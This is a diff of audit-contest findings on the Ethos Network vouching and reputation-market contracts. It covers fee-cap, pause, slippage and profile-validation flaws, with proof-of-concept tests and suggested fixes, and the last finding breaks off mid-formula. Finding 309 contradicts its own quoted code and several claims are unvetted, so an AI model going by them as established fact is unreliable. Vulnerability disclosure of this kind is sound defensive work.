Macaroon Terrier + +Medium + +# Wrong calculation in Market Funds During Vote Selling + +### Summary + +A logical accounting error will cause inaccurate market funds tracking as the current implementation fails to properly account for protocol fees during vote sales + +### Root Cause + +in `ReputationMarket.sol` https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 the market funds update mechanism in the `sellVotes()` function incorrectly calculates the reduction in market funds by omitting protocol fees + +### Internal pre-conditions + +1. User needs to call `sellVotes()` function to sell votes +2. Sufficient votes exist for the specified market profile +3. Protocol fee is generated during the vote sale transaction +4. `marketFunds[profileId]` has sufficient balance + + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls `sellVotes()` function to sell votes +2. Function calculates `fundsReceived` for votes sold +3. `marketFunds[profileId]` is reduced only by `fundsReceived` +4. Protocol fee is not subtracted from `marketFunds[profileId]` +5. Market funds tracking becomes mathematically inconsistent + +### Impact + +The protocol suffers from: + +- Inaccurate market funds tracking +- Potential misrepresentation of total market value +- Risk of incorrect accounting during market operations +- Discrepancies in fund balance calculations + +### PoC + +_No response_ + +### Mitigation + +Modify the market funds update to include protocol fees + +```solidity +// Before (Vulnerable) +marketFunds[profileId] -= fundsReceived; + +// After (Corrected) +marketFunds[profileId] -= (fundsReceived + protocolFee); +``` \ No newline at end of file diff --git a/307.md b/307.md new file mode 100644 index 0000000..9851e73 --- /dev/null +++ b/307.md @@ -0,0 +1,114 @@ +Wonderful Coconut Ape + +Medium + +# Compromised Addresses Can Still interect with the protocol . + +### Summary + +The `vouchByProfileId` function in EthosVouch contract lacks validation to prevent compromised addresses from creating vouches. While the contract integrates with EthosProfile for address verification, it doesn't check if the vouching address has been marked as compromised, potentially allowing malicious actors to continue vouching using compromised addresses. + +### Root Cause + +The `vouchByProfileId` function only verifies that the sender has a valid profile through `verifiedProfileIdForAddress()` but doesn't check if the address is compromised: + +```solidity:contracts/EthosVouch.sol +function vouchByProfileId( +uint256 subjectProfileId, +string calldata comment, +string calldata metadata +) public payable whenNotPaused nonReentrant { +// validate author profile +uint256 authorProfileId = IEthosProfile( +contractAddressManager.getContractAddressForName(ETHOS_PROFILE) +).verifiedProfileIdForAddress(msg.sender); // Only checks if profile exists and is not archived + +// Missing check: should verify address is not compromised +} +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330 +### Internal pre-conditions + +1. Contract must be unpaused +2. Sender must have a valid profile ID +3. Subject profile must exist and not be archived +4. Vouch amount must meet minimum requirements + + +### External pre-conditions + +1. Attacker has access to a compromised address +2. Compromised address has an associated profile +3. Profile is not archived +4. Attacker has sufficient ETH to create vouch + +### Attack Path + +1. Attacker gains access to a compromised address that has a valid profile +2. Original owner marks address as compromised in EthosProfile +3. Despite being compromised, attacker can still: +```solidity +// Attacker calls with compromised address +ethosVouch.vouchByProfileId{value: minimumVouchAmount}( +targetProfileId, +"Malicious vouch", +"" +); +``` +4. Vouch is successfully created despite address being compromised + + +### Impact + +- Compromised addresses can continue to create vouches +- Undermines the address compromise protection mechanism +- Allows malicious actors to maintain influence through vouches +- Threre is also a limit to maximum vouches . That gets reduced for a profileID + + + +### Mitigation + + +1. **Add Compromised Address Check:** +```solidity:contracts/EthosVouch.sol +function vouchByProfileId( +uint256 subjectProfileId, +string calldata comment, +string calldata metadata +) public payable whenNotPaused nonReentrant { +IEthosProfile profile = IEthosProfile( +contractAddressManager.getContractAddressForName(ETHOS_PROFILE) +); + +// Check if address is compromised +if (profile.isAddressCompromised(msg.sender)) { +revert AddressCompromised(msg.sender); +} + +uint256 authorProfileId = profile.verifiedProfileIdForAddress(msg.sender); +// ... rest of the function +} +``` + +2. **Add Modifier:** +```solidity +modifier onlyNonCompromisedAddress() { +if (IEthosProfile(contractAddressManager.getContractAddressForName(ETHOS_PROFILE)) +.isAddressCompromised(msg.sender)) { +revert AddressCompromised(msg.sender); +} +_; +} +``` + +3. **Apply to All Relevant Functions:** +```solidity +function vouchByProfileId(...) public payable whenNotPaused nonReentrant onlyNonCompromisedAddress { +// ... existing implementation +} + +function vouchByAddress(...) public payable onlyNonZeroAddress(subjectAddress) whenNotPaused onlyNonCompromisedAddress { +// ... existing implementation +} +``` \ No newline at end of file diff --git a/308.md b/308.md new file mode 100644 index 0000000..94028cf --- /dev/null +++ b/308.md @@ -0,0 +1,41 @@ +Hot Purple Antelope + +Medium + +# When user increase his vouch, he also receive reward while fee distributing into previous vouches + +### Summary + +When user would like increase his vouch, he send native currency into function increaseVouch, and part of this value (fees) is distributing to previous vouches. And of them - user's vouch. + +### Root Cause + +in `EthosVouch.sol:426` in function increaseVouch() there is call to internal function applyFees(), which call _rewardPreviousVouchers(). +In this function in loop, part of user's msg.value is distributing to all non-archive vouches, including vouch, which belongs to caller user. +User should not receive reward from his own msg.value + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L721-L728 + +### Internal pre-conditions + +User has vouch + +### External pre-conditions + +_No response_ + +### Attack Path + +User call increaseVouch() and receive part of fees to his own vouch + +### Impact + +User call increaseVouch() and receive part of fees to his own vouch + +### PoC + +_No response_ + +### Mitigation + +Dont reward user's vouch, when user increase his vouch \ No newline at end of file diff --git a/309.md b/309.md new file mode 100644 index 0000000..fc6af02 --- /dev/null +++ b/309.md @@ -0,0 +1,77 @@ +Wonderful Coconut Ape + +Medium + +# Lack of Archived Profile Validation in Vouching Functions Allows Unauthorized Actions + +### Summary + +The `vouchByProfileId` function in the EthosVouch contract does not verify whether the author's profile is archived. This oversight allows users with archived profiles to continue creating vouches, which contradicts the intended behavior of archived profiles being inactive. + +### Root Cause + +The `vouchByProfileId` function only checks if the sender has a valid profile through `verifiedProfileIdForAddress()` but does not verify if the profile is archived/inactive: + +```solidity:contracts/EthosVouch.sol +function vouchByProfileId( +uint256 subjectProfileId, +string calldata comment, +string calldata metadata +) public payable whenNotPaused nonReentrant { +// validate author profile +uint256 authorProfileId = IEthosProfile( +contractAddressManager.getContractAddressForName(ETHOS_PROFILE) +).verifiedProfileIdForAddress(msg.sender); // Only checks if profile exists and is not archived + +// Missing check: should verify profile is not archived +} +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Archived profiles can still perform actions meant to be restricted +- Undermines the purpose of archiving profiles +- Reduces reliability of the vouch system +- Creates confusion about the status and validity of vouches + +### PoC + +_No response_ + +### Mitigation + +1. **Add Archived Profile Check:** +```solidity:contracts/EthosVouch.sol +function vouchByProfileId( +uint256 subjectProfileId, +string calldata comment, +string calldata metadata +) public payable whenNotPaused nonReentrant { +IEthosProfile profile = IEthosProfile( +contractAddressManager.getContractAddressForName(ETHOS_PROFILE) +); + +// Check if profile is archived +(bool verified, bool archived, , ) = profile.profileStatusByAddress(msg.sender); + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(profile ); + } + +uint256 authorProfileId = profile.verifiedProfileIdForAddress(msg.sender); +// ... rest of the function +} +``` \ No newline at end of file diff --git a/310.md b/310.md new file mode 100644 index 0000000..dd85497 --- /dev/null +++ b/310.md @@ -0,0 +1,163 @@ +Keen Scarlet Aardvark + +Medium + +# Supporters can keep increasing staked eth for a subject during pause while any other vouching actions are forbidden, leading to unfair calculation of trust + +### Summary + +Almost all core features of the contract [`EthosVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) are only usable when the contract is not paused. However, one can freely [increase](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) the amount staked for an existing vouch even when the contract is paused. + + +```javascript + +@>> function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + ...... +} +``` +Notice that the modifier `whenNotPaused` is omitted for this function. + + +### Root Cause + +The function `EthosVouch::increaseVouch` does not implement proper access control when the contract is paused. + +### Internal pre-conditions + +The protocol pauses the `EthosVouch` contract for some reasons. + +### External pre-conditions + +_No response_ + +### Attack Path + +Supporters of a particular subject notice the pause period. They can keep increasing their existing vouches for the subject, while the opponents of such a subject can't do anything as unvouching is impossible during pause. + +### Impact + +The trust credibility of a particular subject could be incorrectly measured upon any pause period. In addition, opportunist supporters can benefit from this issue to inflate trust on the reputation market, in order to have a better outcome & profit on selling trust votes for a particular subject. + +### PoC + +- The following test can be appended inside the suite `describe('vouchByProfileId',` on the file `EthosVouch.test.ts`. +```javascript + +it('should be able to increase vouch during pause', async () => { + const { + ethosVouch, + PROFILE_CREATOR_0, + PROFILE_CREATOR_1, + VOUCHER_0, + VOUCHER_1, + OTHER_0, + interactionControl, + ethosProfile, + OWNER, + } = await loadFixture(deployFixture); + + // create multiple profiles + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address); + await ethosProfile.connect(OWNER).inviteAddress(OTHER_0.address); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); // profileId = 2 + await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); // profileId = 3 + await ethosProfile.connect(VOUCHER_0).createProfile(1); // profileId = 4 + await ethosProfile.connect(VOUCHER_1).createProfile(1); // profileId = 5 + await ethosProfile.connect(OTHER_0).createProfile(1); // profileId = 6 + + // VOUCHER_0 vouches the profileId 3, created by the PROFILE_CREATOR_1 above + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('0.0123'), + }); + + // OTHER_0 vouches the profileId 3 + await ethosVouch.connect(OTHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('0.0123'), + }); + + // VOUCHER_1 vouches the profileId 3 as well + await ethosVouch.connect(VOUCHER_1).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('0.0123'), + }); + + // Check that the contract is not paused + expect(await ethosVouch.paused()).to.equal(false, 'Should be false before'); + // For some reason, the protocol pauses the contract + await interactionControl.connect(OWNER).pauseContract(smartContractNames.vouch); + expect(await ethosVouch.paused()).to.equal(true, 'Should be true after'); + + // VOUCHER_0 & OTHER_0 can keep increasing the staked amount for the profileId 3 + const vouchIdVOUCHER0ForProfileId3 = (await ethosVouch.verifiedVouchByAuthorForSubjectProfileId(4, 3)).vouchId; + await ethosVouch.connect(VOUCHER_0).increaseVouch(vouchIdVOUCHER0ForProfileId3, { + value: ethers.parseEther('0.0123'), + }); + + const vouchIdOTHER0ForProfileId3 = (await ethosVouch.verifiedVouchByAuthorForSubjectProfileId(6, 3)).vouchId; + await ethosVouch.connect(OTHER_0).increaseVouch(vouchIdOTHER0ForProfileId3, { + value: ethers.parseEther('0.0123'), + }); + + // While VOUCHER_1 can not unvouch his vouch for profileId 3 during pause, which is not fair + const vouchIdVOUCHER1ForProfileId3 = (await ethosVouch.verifiedVouchByAuthorForSubjectProfileId(5, 3)).vouchId; + await expect(ethosVouch.connect(VOUCHER_1).unvouch(vouchIdVOUCHER1ForProfileId3)).to.be.reverted; +}); + +``` + +- Then, it can be run with the following command `NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test --grep "during pause"`, which will return the following output: + +```text + +EthosVouch + constructor + vouchByProfileId + ✔ should be able to increase vouch during pause (1454ms) + + +1 passing (1s) + +``` + + +### Mitigation + + +The protocol should allow users to increase their existing vouch only when the protocol is not paused. +This diff can be applied in the file `EthosVouch.sol`: + + +```diff + + +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); +} + + +``` \ No newline at end of file diff --git a/311.md b/311.md new file mode 100644 index 0000000..a1a17ba --- /dev/null +++ b/311.md @@ -0,0 +1,63 @@ +Generous Macaroon Terrier + +Medium + +# Ineffective Reward Allocation for Profiles Without Existing Vouchers + +### Summary + +A logical design flaw in the reward distribution mechanism will cause potential fee loss for the protocol as the current implementation fails to handle scenarios with zero existing vouchers + +### Root Cause + +In `EthosVouch.sol` https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L714-L717 the `_rewardPreviousVouchers()` function lacks a proper handling mechanism when no previous vouchers are present + +### Internal pre-conditions + +1. Total balance of vouchers for a specific profile is zero +2. Reward or fee is attempted to be distributed +3. No existing voucher holders for the profile + +### External pre-conditions + +1. Sufficient rewards/fees available for distribution +2. Profile has been created but not yet had any voucher activity + +### Attack Path + +1. Reward distribution function is called for a new profile +2. Function detects zero total balance +3. Immediate return without processing the reward +4. Passed reward amount remains undistributed +5. Potential permanent loss of protocol fees + +### Impact + +The protocol suffers from: + +- Potential permanent loss of protocol fees +- Inconsistent reward allocation mechanism +- No clear recovery path for undistributed rewards +- Reduced financial efficiency for new or inactive profiles + +### PoC + +_No response_ + +### Mitigation + +Modify the reward distribution logic to handle zero-balance scenarios + +```solidity + +// Before (Vulnerable) +if (totalBalance == 0) { + return totalBalance; +} + +// After (Corrected) +if (totalBalance == 0) { + _depositProtocolFee(amount); // Transfer to protocol treasury + return 0; +} +``` \ No newline at end of file diff --git a/312.md b/312.md new file mode 100644 index 0000000..53fd19c --- /dev/null +++ b/312.md @@ -0,0 +1,134 @@ +Main Honeysuckle Tarantula + +Medium + +# Total fees for ethos vouch may exceed 10% due to incorrect MAX_TOTAL_FEES + +### Summary + +One of the statements in the CONTEST README is the following. + +>For both contracts: +Maximum total fees cannot exceed 10% + +This property may be violated in the `EthosVouch` contract because MAX_TOTAL_FEES is set incorrectly (10_000 instead of 1000). + +To make sure of it, it is enough to consider the following [group of functions](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929) + +```solidity +function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + totalFees = exitFee; + toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } + +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } + +function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + + + +As we can see, the sum of entryProtocolFeeBasisPoints, entryDonationFeeBasisPoints, entryVouchersPoolFeeBasisPoints, exitFeeBasisPoints cannot exceed 10_000. However, this is clearly too high a bound, as it shows that each individual fee can be `>= 0.5 total value` +(totalValue - totalValue * 10_000 / (10_000 + max(10_000)))) + +To make sure of this it is enough to consider the following group of functions + +As we can see, the sum of entryProtocolFeeBasisPoints, entryDonationFeeBasisPoints, entryVouchersPoolFeeBasisPoints, exitFeeBasisPoints cannot exceed 10_000. However, this is clearly too high a limit, as it shows that each individual fee can be `>= 0.5 total value` +`totalValue - totalValue * 10_000 / (10_000 + max(10_000))`. + +After pointing out this error to the sponsor in the private thread, I was confirmed that 10_000 as MAX_TOTAL_FEES is a typo. + +### Root Cause + +Commissions may exceed 10% due to typo in MAX_TOTAL_FEES + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Breaks one of the invariants from contest README. + +Note that this statement is in section with the following question +````Are there any restrictions on values set by admins (or other roles) in the codebase, including restrictions on array lengths?``` + +So even though the owner himself assigns basisPoints to each txes, the fact that the protocol does not validate his input correctly makes this issue medium severity. + +### PoC + +Fuzz test with echidna will easily find values that break this invariant +```solidity +function fuzzFees(uint256 total, uint256 basisPoints1, uint256 basisPoints2, uint256 basisPoints3, uint256 k) public { + if (total < 0.001 ether) { + total += 0.001 ether; + } + k %= 10000; + basisPoints1 %= k; + basisPoints2 %= ((10000 - k) / 2); + basisPoints3 %= ((10000 - k) / 2); + + uint256 fees1 = total - (Math.mulDiv(total, 10_000, (10_000 + basisPoints1), Math.Rounding.Floor)); + uint256 fees2 = total - (Math.mulDiv(total, 10_000, (10_000 + basisPoints2), Math.Rounding.Floor)); + uint256 fees3 = total - (Math.mulDiv(total, 10_000, (10_000 + basisPoints3), Math.Rounding.Floor)); + + assert(fees1 + fees2 + fees3 <= total / 10); + } +``` + +### Mitigation + +MAX_TOTAL_FEES = 1000 \ No newline at end of file diff --git a/313.md b/313.md new file mode 100644 index 0000000..c212b1c --- /dev/null +++ b/313.md @@ -0,0 +1,60 @@ +Scruffy Black Cyborg + +Medium + +# MAX_TOTAL_FEES Misconfiguration Allows Excessive Fee Charging Beyond Documented Limits + + +## Summary +The EthosVouch contract contains a critical misconfiguration where the `MAX_TOTAL_FEES` constant is set to 10000 basis points (100%) instead of the documented maximum of 1000 basis points (10%). This discrepancy allows the protocol to potentially charge fees up to 100% of transaction values, violating the explicit specification in the documentation and potentially causing significant financial losses to users. + +## Root Cause +The root cause is an implementation error in the EthosVouch.sol contract where the maximum fee limit constant is incorrectly set. While the documentation clearly states that "Maximum total fees cannot exceed 10%", the contract implements this check using: +```solidity +uint256 public constant BASIS_POINT_SCALE = 10000; +uint256 public constant MAX_TOTAL_FEES = 10000; // This allows 100% fees instead of 10% +``` +This allows the total fees to be set up to 100% instead of the intended 10% maximum. + +## Reference +- [README.md](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/README.md) +- For both contracts: Maximum total fees cannot exceed 10% +- [EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) +- Implementation of Total fee constant + +## Proof of Concept +1. The contract uses basis points for fee calculations (1 basis point = 0.01%) +2. The `MAX_TOTAL_FEES` constant is set to 10000 basis points (100%) +3. The fee validation check allows any fee up to 100%: +```solidity +if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); +``` +4. This allows admin to set combined fees that could total up to 100%, when they should be limited to 10% + +## Internal pre-conditions +- Contract must be deployed +- Admin access to fee configuration functions + +## External pre-conditions +None + +## Attack Path +1. Admin sets entryProtocolFeeBasisPoints to 3400 +2. Admin sets entryDonationFeeBasisPoints to 3300 +3. Admin sets entryVouchersPoolFeeBasisPoints to 3300 +4. Total fees = 10000 basis points (100%) +5. This passes the MAX_TOTAL_FEES check despite exceeding documented limits + +## Impact +High severity impact due to: +1. Direct violation of documented protocol specifications +2. Potential for significant financial losses to users +3. Risk of users paying up to 100% in fees when expecting maximum 10% +4. Loss of user trust and protocol reputation +5. Possible exploitation by malicious or compromised admin roles + +## Recommended Mitigation Steps +1. Change the MAX_TOTAL_FEES constant to enforce the documented 10% limit: +```solidity +uint256 public constant MAX_TOTAL_FEES = 1000; // 10% in basis points +``` diff --git a/314.md b/314.md new file mode 100644 index 0000000..0762aeb --- /dev/null +++ b/314.md @@ -0,0 +1,104 @@ +Damaged Lipstick Cheetah + +Medium + +# Users could overpay fees when buying votes + +### Summary + +The `previewFees` function in `_calculateBuy` is applied to the total `funds` being transferred by the user. This leads to users paying for more funds that they are actually transacting. + +### Root Cause + +In [`ReputationMarket:960`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960), users will specify an amount of `funds` that they are willing to pay in exchange for votes. However, the specified `funds` might not be fully used in order to buy the votes, given the following logic in `_calculateBuy`: + +```solidity +// ReputationMarket.sol + +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } + +``` + +As shown in the snippet, the amount of votes bought is determined by a loop that will run while the `fundsAvailable` are greater than the `votePrice`. As the price of votes increases due to the buy pressure, the loop will be finished, having `fundsAvailable` (which consists of the user's submitted `funds` with the fees substracted) be nearly always greater than the actual `fundsPaid` (which consists of the price paid for each vote + fees + donation fee). + +The problem with this approach is that fees are being applied to an amount that, as demonstrated, is not necessarily the total amount used to actually buy the votes. + + + + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +Let's say a user 1 wants to buy 2 `TRUST` votes for a recently created market, where `basePrice` is 0,01 ETH and theres 1 `TRUST` and 1 `DISTRUST` vote already in the market. + +1. The price of one vote is given by `market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes`, so the price is 0,005 ETH (1 * 0,01 / 2) for the first vote, and ≈ 0,0066 (2 * 0,01 / 3) for the second vote, which adds up to a total of 0,0116 ETH. A 10 % fee is applied (so fee is 0,00116), so the total that user should deposit is 0,01276. + +2. At the same time, and prior to user 1 buying the votes, user 2 submits a buy transaction for one `TRUST` vote. This leaves the state of the vote prices to a different price than the expected by user 1. Still, user 1 submits the transaction with a value of 0,01276. +3. Because user 2 has triggered the buy operation prior to user 1, the initial vote price for user 1 is 0,0066 ETH (2 * 0,01 / 3). As user 1 submitted 0,01276 as `funds`, and without the 10% in fees, the `fundsAvailable` for user 1 are 0,011484. Note that 0,001276 are paid in fees. +4. While in the loop: +- First iteration: `votePrice` starts at 0,0066, and `fundsAvailable` are 0,011484, so one vote is purchased. The `fundsPaid` increases to 0,0066. +- Second iteration: `votePrice` now is at 0,0075 (3 * 0,01 / 4). `fundsAvailable` are 0,004884, so it is not enough to buy a second vote +5. The result is that user 1 has only been able to purchase a single vote. The actual transacted value has only been 0,0066 (the price of one vote), for which a 10% fee would have implied 0,00066 ETH (≈ 2,442 USD). However, as shown in step 1, user 1 has paid 0,00116 ETH (≈ 4,292 USD, **nearly the double!**). + +On the long run, situations like this will arise, leading to a perpetual loss of funds for protocol users due to the increase + +### Impact + +Medium. As shown in the "Attack Path" section, fees will be overcharged for users that buy votes. On the long term, it is easy that the total value loss exceeds 10 USD or 10% of user value, (considering that new markets might also be configured, with base prices of 0,1 or even 1 ETH). + + +### PoC + +_No response_ + +### Mitigation + +When triggering `buyVotes`, allow users to specify the amount of votes they want, instead of the amount of ETH to pay (similar to the logic used when selling). Then, apply the corresponding fees considering the actual amount that user will pay. \ No newline at end of file diff --git a/315.md b/315.md new file mode 100644 index 0000000..90fbc23 --- /dev/null +++ b/315.md @@ -0,0 +1,43 @@ +Original Boysenberry Hare + +High + +# Missing Slippage Check When Selling Votes Leads to Seller Receiving Fewer Funds Than Expected + +## Description + +**Context:** + +Users sell their trust/distrust votes to the Reputation Market they bought from. The reason for selling their votes could be that they have gained profit from a price rise or want to limit the amount of loss they incur. + +When users sell their votes, based on the number of votes they sell and the vote price, they receive funds in ETH. + +**Vulnerability Details:** + +The function responsible for allowing users to sell their votes in the `ReputationMarket` contract is called [sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534). This function lacks a slippage check to ensure the seller does not receive less ETH than expected due to the delay between the seller's transaction being mined and other users' buy/sell transactions being processed at the same time. + +## Impact + +**Damage:** High + +**Likelihood:** High + +**Details:** The lack of a slippage check in `sellVotes()` function can lead to the seller receiving an unexpectedly low ETH amount when selling their votes. + +## Proof of Concept + +**Attack Path:** + +1. Let's say hypothetically each vote costs `1 ETH`, and the seller holds `10 votes`. +2. The seller decides to sell all `10 votes`, calling the `sellVotes()` function, expecting to receive `10 ETH` in return. +3. Once the seller submits the transaction, other users buy/sell vote transactions get mined first, causing a significant change in vote prices. +4. Once the seller transaction is mined, he only receives `4 ETH`. an unexpected outcome that could have been prevented if a slippage protection mechanism had been implemented. + + +**POC:** + +- Not needed + +## Recommended Mitigation + +Add a slippage protection mechanism similar to the one used in the `buyVotes()` function. In this slippage check, the user should specify the minimum amount of funds they expect to receive when selling their votes. diff --git a/316.md b/316.md new file mode 100644 index 0000000..9b6aa18 --- /dev/null +++ b/316.md @@ -0,0 +1,51 @@ +Striped Cerulean Okapi + +High + +# High market volatility may cause unexpected losses for sellers on the Base network. + +### Summary + +The absence of a slippage check in the `sellVotes` function can lead to sellers receiving significantly less than expected due to MEV opportunities arising from natural market conditions. This occurs because transaction ordering and execution on Base Layer 2 can be affected by network congestion and high transaction volume, which introduces delays and price fluctuations that sellers cannot control. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L511 + +### Root Cause + +The missing slippage check in `sellVotes` exposes sellers to price volatility. Unlike public mempools in Layer 1, Base's private sequencer architecture means users cannot front-run transactions directly. However, natural MEV can still occur due to: + +1. Batch transaction processing: The sequencer processes transactions in batches, which can cause price updates between submission and execution. +2. High network congestion: During periods of intense market activity, delays in transaction execution can lead to significant price changes. +3. Prioritization rules: Transactions might be ordered based on fee prioritization during congestion, even if not maliciously, causing unpredictable execution times. + +### Internal pre-conditions + +1. A seller submits a `sellVotes()` transaction based on the current price. +2. Vote price fluctuates due to other transactions being processed in the same batch or just before the seller’s transaction. + +### External pre-conditions + +1. Network congestion or high activity in the marketplace leads to delays in transaction processing. +2. Sequencer processes transactions in batches, causing price updates after transaction submission but before execution. +3. Fee-based prioritization may influence transaction order during peak activity, affecting when the seller’s transaction is executed. + +### Attack Path + +Natural MEV: + +1. A seller submits a `sellVotes()` transaction, expecting a specific payout based on the vote price at the time of submission. +2. As the market experiences high activity, many buy and sell transactions are processed, causing price volatility. +3. The sequencer executes transactions in batches, and the price shifts before the seller's transaction is executed. +4. The seller’s transaction executes at a lower price, resulting in a reduced payout. + +### Impact + +Sellers can suffer significant financial losses due to receiving lower-than-expected payouts. The lack of slippage protection makes this a systemic risk in volatile markets, particularly during periods of high network congestion and transaction surges. This creates a poor user experience and potential loss of confidence in the protocol. + +### PoC + +_No response_ + +### Mitigation + +Introduce a slippage tolerance parameter in the `sellVotes()` function, similar to the one in `buyVotes`. This would allow sellers to specify the minimum acceptable payout, ensuring the transaction reverts if the price deviates beyond their tolerance. \ No newline at end of file diff --git a/317.md b/317.md new file mode 100644 index 0000000..8f997a8 --- /dev/null +++ b/317.md @@ -0,0 +1,50 @@ +Wonderful Coconut Ape + +High + +# Inconsistent Fee Calculation Leads to pay user more then intended ! + +### Summary + +The `calcFee` function in the EthosVouch contract calculates fees in a manner that results in higher-than-expected deductions from the vouch amount. This discrepancy arises from the formula used to calculate fees, which does not align with the expected behavior of deducting a fixed percentage from the total amount sent. + + +### Root Cause + +The `calcFee` function uses the following formula to calculate fees: + +```solidity:contracts/EthosVouch.sol +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { +/* +* Formula derivation: +* 1. total = deposit + fee +* 2. fee = deposit * (feeBasisPoints/10000) +* 3. total = deposit + deposit * (feeBasisPoints/10000) +* 4. total = deposit * (1 + feeBasisPoints/10000) +* 5. deposit = total / (1 + feeBasisPoints/10000) +* 6. fee = total - deposit +* 7. 